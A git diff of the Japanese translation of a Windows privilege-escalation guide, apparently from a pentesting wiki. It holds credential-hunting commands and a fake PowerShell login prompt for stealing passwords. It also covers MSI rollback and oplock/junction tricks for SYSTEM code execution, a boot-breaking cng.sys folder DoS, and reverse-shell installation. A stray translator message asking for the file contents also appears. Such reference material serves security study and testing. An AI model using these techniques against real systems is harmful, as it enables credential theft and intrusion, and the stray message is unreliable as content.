C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### credentials を尋ねる +### credentialsを要求する -もしユーザーが知っている可能性があると思う場合、常に **ユーザーに自身の credentials、あるいは別のユーザーの credentials を入力するよう頼む** ことができます (注意:クライアントに直接**尋ねる**ことで**credentials**を求めるのは本当に**危険**です): +ユーザーがそれらを知っていると思われる場合、常に **ユーザーに自身の credentials、あるいは別のユーザーの credentials を入力するよう頼む** ことができます(ただし、クライアントに直接 **尋ねる** ことで **credentials** を要求するのは非常に **リスキー** である点に注意してください): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1102,9 +1145,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **credentials** を含む可能性のあるファイル名 +### **認証情報を含む可能性のあるファイル名** -以前、**passwords** を **clear-text** または **Base64** で含んでいた既知のファイル +かつて **passwords** が **clear-text** または **Base64** で含まれていた既知のファイル ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1168,8 +1211,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -指定されたファイルの内容が提供されていません。 -src/windows-hardening/windows-local-privilege-escalation/README.md の内容を貼ってください。受け取ったら、指示に従って英語部分を日本語に翻訳して返します。 +ファイルの内容が提供されていません。src/windows-hardening/windows-local-privilege-escalation/README.md の内容を送ってください。 ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1178,15 +1220,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin の資格情報 +### RecycleBin内のCredentials -Bin(ごみ箱)内に資格情報がないかも確認してください +Bin内のCredentialsも確認してください -複数のプログラムに保存された**パスワードを復元する**には、次を使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +いくつかのプログラムに保存された**パスワードを復元する**には次を使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### レジストリ内 +### registry内 -**資格情報を含むその他の可能性のあるレジストリキー** +**Credentialsを含むその他の可能なregistryキー** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1195,10 +1237,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### ブラウザの履歴 +### ブラウザ履歴 -パスワードが保存されている可能性のある **Chrome or Firefox** の db を確認してください。\ -また、ブラウザの履歴、ブックマーク、お気に入りも確認してください。そこにパスワードが保存されていることがあります。 +パスワードが保存されている **Chrome or Firefox** の dbs を確認してください。\ +またブラウザの履歴、ブックマーク、お気に入りも確認し、そちらに **パスワードが** 保存されている可能性があります。 Tools to extract passwords from browsers: @@ -1207,28 +1249,27 @@ Tools to extract passwords from browsers: - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL Overwriting** +### **COM DLL の上書き** -Component Object Model (COM) は、Windows オペレーティングシステム内に組み込まれた技術で、異なる言語で書かれたソフトウェアコンポーネント間の相互通信を可能にします。各 COM コンポーネントは class ID (CLSID) によって識別され、各コンポーネントは interface ID (IIDs) によって識別される 1 つ以上のインターフェイスを通じて機能を公開します。 +**Component Object Model (COM)** は、Windows オペレーティングシステム内に組み込まれた技術で、異なる言語で書かれたソフトウェアコンポーネント間の **相互通信** を可能にします。各 COM コンポーネントは **class ID (CLSID)** で識別され、各コンポーネントは 1 つ以上のインターフェースを介して機能を公開し、それらは interface ID (IIDs) で識別されます。 -COM クラスとインターフェイスは、それぞれ **HKEY\CLASSES\ROOT\CLSID** および **HKEY\CLASSES\ROOT\Interface** の下でレジストリに定義されます。このレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** をマージして作成され、**HKEY\CLASSES\ROOT** になります。 +COM クラスとインターフェースは、それぞれ **HKEY\CLASSES\ROOT\CLSID** と **HKEY\CLASSES\ROOT\Interface** の下でレジストリに定義されています。このレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** と **HKEY\CURRENT\USER\Software\Classes** をマージして作成されたもの、つまり **HKEY\CLASSES\ROOT** です。 -レジストリ内の CLSID の中には子レジストリ **InProcServer32** があり、そこには **default value** が DLL を指す形で格納されており、**ThreadingModel** という値があります。この値は **Apartment**(Single-Threaded)、**Free**(Multi-Threaded)、**Both**(Single or Multi)、または **Neutral**(Thread Neutral)のいずれかになり得ます。 +このレジストリの CLSID の中には子キー **InProcServer32** があり、そこには **デフォルト値** として **DLL** を指す値と、**ThreadingModel** という値が含まれます。ThreadingModel は **Apartment**(シングルスレッド)、**Free**(マルチスレッド)、**Both**(シングルまたはマルチ)、または **Neutral**(スレッドニュートラル)になり得ます。 ![](<../../images/image (729).png>) -基本的に、実行される DLL のいずれかを上書きできる場合、その DLL が別のユーザーによって実行される際に escalate privileges できる可能性があります。 - -To learn how attackers use COM Hijacking as a persistence mechanism check: +基本的に、実行される DLL のいずれかを**上書き**できる場合、その DLL が別のユーザーによって実行されるのであれば **権限昇格** できる可能性があります。 +攻撃者が COM Hijacking を永続化のメカニズムとしてどのように利用するかを学ぶには、次を参照してください: {{#ref}} com-hijacking.md {{#endref}} -### **ファイルとレジストリ内の一般的なパスワード検索** +### **ファイルおよびレジストリ内の汎用的なパスワード検索** -**Search for file contents** +**ファイルの内容を検索** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1240,20 +1281,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**レジストリでキー名とパスワードを検索する** +**レジストリ内でキー名とパスワードを検索する** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### パスワードを検索するツール +### passwords を検索するツール -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** プラグインで、被害者内で資格情報を検索するすべての **automatically execute every metasploit POST module that searches for credentials** を実行するために作成しました。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は、このページで言及されたパスワードを含むすべてのファイルを自動的に検索します。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) はシステムからパスワードを抽出するもう一つの優れたツールです。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin。私はこのプラグインを作成しました。これはターゲット内で**automatically execute every metasploit POST module that searches for credentials**を実行します。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) はこのページで言及されているpasswordsを含むすべてのファイルを自動的に検索します。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) はシステムからpasswordを抽出するもう一つの優れたツールです。 -ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、このデータを平文で保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)の **sessions**, **usernames** and **passwords** を検索します。 +ツール[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、このデータをclear textで保存するいくつかのツール(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)の**sessions**, **usernames** および **passwords** を検索します。 ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1269,23 +1310,23 @@ Then, if you have **full access to the low privileged process**, you can grab th ## Named Pipe Client Impersonation -共有メモリセグメント、すなわち **pipes** は、プロセス間の通信やデータ転送を可能にします。 +Shared memory segments, referred to as **pipes**, enable process communication and data transfer. -Windowsは**Named Pipes**という機能を提供しており、関連のないプロセス間でも、場合によってはネットワーク越しにデータを共有できます。これはクライアント/サーバー型のアーキテクチャに似ており、役割は**named pipe server**と**named pipe client**として定義されます。 +Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. -クライアントがパイプを通じてデータを送信すると、そのパイプを設定した**server**は、必要な**SeImpersonate**権限を持っている場合に**clientのアイデンティティを引き受ける**ことができます。あなたが模倣できるパイプ経由で通信する**特権プロセス**を特定できれば、あなたが作成したパイプとそのプロセスがやり取りを行った際にそのプロセスのアイデンティティを引き受けて、**より高い権限を得る**機会が生まれます。このような攻撃を実行する手順については、[**here**](named-pipe-client-impersonation.md)および[**here**](#from-high-integrity-to-system)のガイドが参考になります。 +When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). -また、次のツールは burp のようなツールで named pipe の通信をインターセプトすることを可能にします: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **そしてこのツールは privescs を見つけるためにすべてのパイプを列挙・表示することができます:** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## その他 -### Windowsで何かを実行してしまう可能性のあるファイル拡張子 +### Windowsで実行される可能性のあるファイル拡張子 -次のページを参照してください: [https://filesec.io/](https://filesec.io/) +Check out the page **[https://filesec.io/](https://filesec.io/)** -### **コマンドライン上のパスワードの監視** +### **Monitoring Command Lines for passwords** -ユーザーとしてシェルを取得したとき、スケジュールされたタスクやその他のプロセスがコマンドライン上で資格情報を渡す(pass credentials on the command line)ことがあります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとに取得し、現在の状態を前回の状態と比較して差分を出力します。 +When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. ```bash while($true) { @@ -1295,15 +1336,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## プロセスからのパスワードの窃取 +## プロセスからのパスワード窃取 -## 低権限ユーザーからNT\AUTHORITY SYSTEMへの昇格 (CVE-2019-1388) / UAC Bypass +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -グラフィカルインターフェース(コンソールまたはRDP経由)にアクセスでき、UACが有効な場合、Microsoft Windowsの一部のバージョンでは、低権限ユーザーからターミナルや "NT\AUTHORITY SYSTEM" のような他のプロセスを実行できる可能性があります。 +グラフィカルインターフェース (via console or RDP) にアクセスでき、UAC が有効な場合、いくつかの Microsoft Windows のバージョンでは、特権のないユーザーから "NT\AUTHORITY SYSTEM" のようなターミナルや他のプロセスを実行することが可能です。 -これにより、同じ脆弱性を使って同時に権限昇格とUACのバイパスが可能になります。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは署名されておりMicrosoftによって発行されています。 +これにより、同じ脆弱性を利用して同時に権限昇格と UAC のバイパスが可能になります。さらに、何もインストールする必要はなく、プロセス中に使用される binary は署名され Microsoft によって発行されています。 -影響を受けるシステムの一部は以下の通りです: +影響を受けるシステムの一部は以下の通りです: ``` SERVER ====== @@ -1325,7 +1366,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -この脆弱性を悪用するには、次の手順を実行する必要があります: +To exploit this vulnerability, 以下の手順を実行する必要があります: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1343,147 +1384,150 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -## Administrator の Medium から High Integrity Level への昇格 / UAC Bypass +## From Administrator Medium to High Integrity Level / UAC Bypass -Integrity Levels について **学ぶ** には、次を読んでください: +Read this to **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -次に **UAC と UAC bypass** について学ぶには、こちらを読んでください: +Then **read this to learn about UAC and UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## 任意フォルダの削除/移動/名前変更から SYSTEM EoP へ +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -この手法は [**このブログ投稿**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) で説明されており、exploit コードは [**ここで入手可能**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs) です。 +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -攻撃の概要は、Windows Installer の rollback 機能を悪用して、アンインストール時に正当なファイルを悪意のあるものに置き換えることにあります。これには、攻撃者が `C:\Config.Msi` フォルダをハイジャックするための **悪意のある MSI インストーラー** を作成し、それが他の MSI パッケージのアンインストール時に Windows Installer が rollback ファイルを格納するために使用されることを利用します。rollback ファイルは改ざんされ、悪意のあるペイロードを含むようになります。 +The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. -手法の要約は次の通りです: +The summarized technique is the following: -1. **Stage 1 – ハイジャックの準備(`C:\Config.Msi` を空にする)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Step 1: MSI をインストールする -- 書き込み可能なフォルダ(`TARGETDIR`)に無害なファイル(例: `dummy.txt`)をインストールする `.msi` を作成する。 -- インストーラーを **"UAC Compliant"** とマークして、**非管理者ユーザー** が実行できるようにする。 -- インストール後にファイルへの **handle** を開いたままにしておく。 +- Step 1: Install the MSI +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. -- Step 2: アンインストールを開始する -- 同じ `.msi` をアンインストールする。 -- アンインストール処理はファイルを `C:\Config.Msi` に移動し、`.rbf` ファイルにリネームして rollback バックアップを作成し始める。 -- `GetFinalPathNameByHandle` を使って開いているファイルハンドルをポーリングし、ファイルが `C:\Config.Msi\.rbf` になった時を検出する。 +- Step 2: Begin Uninstall +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. -- Step 3: カスタム同期 -- `.msi` に **カスタムアンインストールアクション (`SyncOnRbfWritten`)`** を含め、これが: -- `.rbf` が書き込まれたことをシグナルする。 -- 続行前に別のイベントを **待機** する。 +- Step 3: Custom Syncing +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. -- Step 4: `.rbf` の削除をブロック -- シグナルを受け取ったら、`FILE_SHARE_DELETE` なしで `.rbf` ファイルを **オープン** し、これにより **削除を防ぐ**。 -- その後アンインストーラーへ戻ってシグナルを送ると、Windows Installer は `.rbf` を削除できず、フォルダ内の全内容を削除できないため、**`C:\Config.Msi` は削除されない**。 +- Step 4: Block Deletion of `.rbf` +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. -- Step 5: `.rbf` を手動で削除 -- 攻撃者が `.rbf` ファイルを手動で削除する。 -- これで **`C:\Config.Msi` は空** になり、ハイジャックの準備が整う。 +- Step 5: Manually Delete `.rbf` +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. -> この時点で、**`C:\Config.Msi` を削除するために SYSTEM レベルの任意フォルダ削除脆弱性をトリガーしてください。** +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. -2. **Stage 2 – rollback スクリプトを悪意あるものに置き換える** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Step 6: `C:\Config.Msi` を弱い ACL で再作成 -- 自分で `C:\Config.Msi` フォルダを再作成する。 -- **弱い DACL**(例: Everyone:F)を設定し、`WRITE_DAC` で **handle を開いたまま** にしておく。 +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. -- Step 7: もう一度インストールを実行 -- 次の設定で `.msi` を再インストールする: -- `TARGETDIR`: 書き込み可能な場所。 -- `ERROROUT`: 強制的に失敗させるトリガーとなる変数。 -- このインストールは再び **rollback** を引き起こすために使われ、`.rbs` と `.rbf` を読み込む。 +- Step 7: Run Another Install +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. -- Step 8: `.rbs` を監視 -- `ReadDirectoryChangesW` を使って `C:\Config.Msi` を監視し、新しい `.rbs` が現れるまで待ち、そのファイル名を取得する。 +- Step 8: Monitor for `.rbs` +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. -- Step 9: rollback 前の同期 -- `.msi` には **カスタムインストールアクション (`SyncBeforeRollback`)`** が含まれており、これが: -- `.rbs` が作成されたときにイベントをシグナルする。 -- その後続行前に **待機** する。 +- Step 9: Sync Before Rollback +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. -- Step 10: 弱い ACL を再適用 -- `.rbs created` イベントを受け取った後: -- Windows Installer は `C:\Config.Msi` に強い ACL を再適用する。 -- しかし、まだ `WRITE_DAC` でハンドルを保持しているため、再度弱い ACL を **適用し直す** ことができる。 +- Step 10: Reapply Weak ACL +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. -> ACL は **handle を開いた時にのみ適用される** ので、フォルダへの書き込みは可能なままです。 +> ACLs are **only enforced on handle open**, so you can still write to the folder. -- Step 11: 偽の `.rbs` と `.rbf` を投入 -- `.rbs` ファイルを上書きして、Windows に次を指示する **偽の rollback スクリプト** を配置する: -- あなたの `.rbf`(悪意のある DLL)を **特権のある場所**(例: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)に復元する。 -- 悪意のある SYSTEM レベルのペイロード DLL を含む偽の `.rbf` を配置する。 +- Step 11: Drop Fake `.rbs` and `.rbf` +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. -- Step 12: ロールバックをトリガー -- 同期イベントにシグナルを送ってインストーラーを再開させる。 -- 既知のポイントで故意にインストールを失敗させる **type 19 のカスタムアクション (`ErrorOut`)** を設定しておく。 -- これにより **rollback が開始** される。 +- Step 12: Trigger the Rollback +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. -- Step 13: SYSTEM があなたの DLL をインストール -- Windows Installer は: -- あなたの悪意のある `.rbs` を読み、 -- あなたの `.rbf` DLL をターゲット場所にコピーする。 -- これで **SYSTEM が読み込むパスに悪意のある DLL が配置** される。 +- Step 13: SYSTEM Installs Your DLL +- Windows Installer: +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. -- 最終ステップ: SYSTEM コードを実行 -- DLL を読み込む信頼された **auto-elevated binary**(例: `osk.exe`)を実行する。 -- これであなたのコードは **SYSTEM として実行されます**。 +- Final Step: Execute SYSTEM Code +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. -### 任意ファイルの削除/移動/名前変更から SYSTEM EoP へ -前述の主要な MSI rollback 手法は、フォルダ全体(例: `C:\Config.Msi`)を削除できることを前提としています。しかし、もし脆弱性が **任意のファイル削除のみ** を許す場合はどうでしょうか? +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -NTFS の内部を利用できます: すべてのフォルダには次のような隠しの代替データストリームが存在します: +The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? + +You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -このストリームはフォルダの **インデックスメタデータ** を格納します。 +このストリームはフォルダの**インデックスメタデータ**を格納します。 -つまり、フォルダの **`::$INDEX_ALLOCATION` ストリームを削除すると**、NTFSはファイルシステムから**フォルダ全体を削除します**。 +したがって、フォルダの**`::$INDEX_ALLOCATION`ストリームを削除すると**、NTFSはファイルシステムからフォルダ全体を**削除します**。 -次のような標準的なファイル削除APIを使用して実行できます: +これには次のような標準のファイル削除APIを使用できます: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> *file* を削除する API を呼び出しているにもかかわらず、**フォルダ自体が削除される**。 +> *file* delete API を呼び出しているにもかかわらず、**フォルダ自体が削除されます**。 -### フォルダの内容の削除から SYSTEM EoP へ -もしあなたの primitive が任意のファイル/フォルダを削除できないが、**攻撃者が制御するフォルダの *contents* の削除は許可される**としたら? +### Folder Contents Delete から SYSTEM EoP へ +もしあなたの primitive が任意のファイル/フォルダを削除できないが、攻撃者が制御するフォルダの *contents* の**削除を許可している**としたらどうしますか? -1. Step 1: ベイトフォルダとファイルをセットアップ -- Create: `C:\temp\folder1` -- Inside it: `C:\temp\folder1\file1.txt` +1. Step 1: おとりのフォルダとファイルをセットアップ +- 作成: `C:\temp\folder1` +- その中に: `C:\temp\folder1\file1.txt` -2. Step 2: Place an **oplock** on `file1.txt` -- この **oplock** は特権プロセスが `file1.txt` を削除しようとすると、**処理を一時停止させる**。 +2. Step 2: `file1.txt` に **oplock** を配置 +- oplock は、特権プロセスが `file1.txt` を削除しようとするときに**実行を一時停止します**。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. ステップ3: SYSTEMプロセスをトリガー(例: `SilentCleanup`) -- このプロセスはフォルダ(例: `%TEMP%`)をスキャンし、その中身を削除しようとします。 -- `file1.txt` に到達すると、**oplock triggers** が発生し、制御をあなたのコールバックに渡します。 +3. ステップ 3: SYSTEM プロセスをトリガーする(例:`SilentCleanup`) +- このプロセスはフォルダ(例:`%TEMP%`)をスキャンし、その内容を削除しようとします。 +- `file1.txt` に到達すると、**oplock がトリガーされ**、コールバックに制御が渡されます。 -4. ステップ4: Inside the oplock callback – redirect the deletion +4. ステップ 4: oplock コールバック内 – 削除をリダイレクトする -- オプションA: `file1.txt` を別の場所に移動する -- これにより `folder1` は空になりますが、oplock は壊れません。 -- `file1.txt` を直接削除しないでください — それにより oplock が早期に解放されます。 +- オプション A: `file1.txt` を別の場所に移動する +- これは `folder1` を oplock を壊さずに空にします。 +- 直接 `file1.txt` を削除しないでください — それは oplock を早期に解放してしまいます。 -- オプションB: `folder1` を **junction** に変換する: +- オプション B: `folder1` を **junction** に変換する: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1493,68 +1537,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> これはフォルダのメタデータを格納する NTFS の内部ストリームを標的にしている — これを削除するとフォルダが削除される。 +> これはフォルダのメタデータを格納する NTFS の内部ストリームを対象としています — これを削除するとフォルダ自体が削除されます。 -5. ステップ 5: oplock を解放する -- SYSTEM プロセスは続行し、`file1.txt` を削除しようとする。 -- しかし、junction + symlink のため、実際に削除されているのは次のとおり: +5. Step 5: Release the oplock +- SYSTEM プロセスが継続して `file1.txt` を削除しようとします。 +- しかし今は junction + symlink のため、実際には次を削除しています: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**結果**: `C:\Config.Msi` は SYSTEM によって削除されます。 +**Result**: `C:\Config.Msi` は SYSTEM によって削除される。 -### 任意のフォルダ作成から永続的なDoSへ +### Arbitrary Folder Create から Permanent DoS へ -次のプリミティブを悪用して、**SYSTEM/admin として任意のフォルダを作成**します — たとえ **ファイルを書き込めない** または **弱い権限を設定できない** 場合でも。 +そのようなプリミティブを悪用すると、たとえ **you can’t write files** や **set weak permissions** でも、**create an arbitrary folder as SYSTEM/admin** が可能になる。 -**フォルダ**(ファイルではなく)を **重要な Windows ドライバー** の名前で作成します。例: +例として、**critical Windows driver** の名前で**folder**(ファイルではなく)を作成する。例: ``` C:\Windows\System32\cng.sys ``` -- このパスは通常、`cng.sys` カーネルモードドライバに対応しています。 -- もしそれを **事前にフォルダとして作成すると**、Windows は起動時に実際のドライバを読み込めません。 -- その後、Windows は起動時に `cng.sys` を読み込もうとします。 -- フォルダを検出し、**実際のドライバを解決できずに**、**クラッシュまたは起動が停止します**。 -- 外部の介入(例:ブート修復やディスクアクセス)なしには、**フォールバックはなく**、**復旧できません**。 +- このパスは通常 `cng.sys` のカーネルモードドライバに対応します。 +- もし **事前にフォルダとして作成しておくと**、Windowsは起動時に実際のドライバを読み込めません。 +- その後、Windowsは起動中に `cng.sys` を読み込もうとします。 +- フォルダを検出すると、**実際のドライバを解決できず**、**クラッシュまたは起動停止**します。 +- **代替手段はなく**、外部介入(例:ブート修復やディスクアクセス)なしでは**回復できません**。 -## **High Integrity から SYSTEM へ** +## **High Integrity から System へ** ### **新しいサービス** -既に High Integrity プロセスで実行中であれば、**SYSTEM へのパス**は、**新しいサービスを作成して実行すること**だけで簡単に得られることがあります: +既に High Integrity プロセスで実行している場合、**SYSTEM へのパス**は**新しいサービスを作成して実行するだけで**簡単に得られることがあります: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> サービスバイナリを作成する際は、それが有効なサービスであるか、あるいはサービスとして有効でない場合は20sで強制終了されるため、必要な処理を素早く実行するバイナリであることを確認してください。 +> サービス用のバイナリを作成する際は、それが有効な service であるか、あるいは無効な service の場合でも必要な処理を速やかに行うことを確認してください。無効な service の場合は 20s で終了されます。 ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +High Integrity プロセスから AlwaysInstallElevated レジストリ項目を有効にし、_**.msi**_ ラッパーを使って reverse shell をインストールすることができます。\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**確認できます** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an 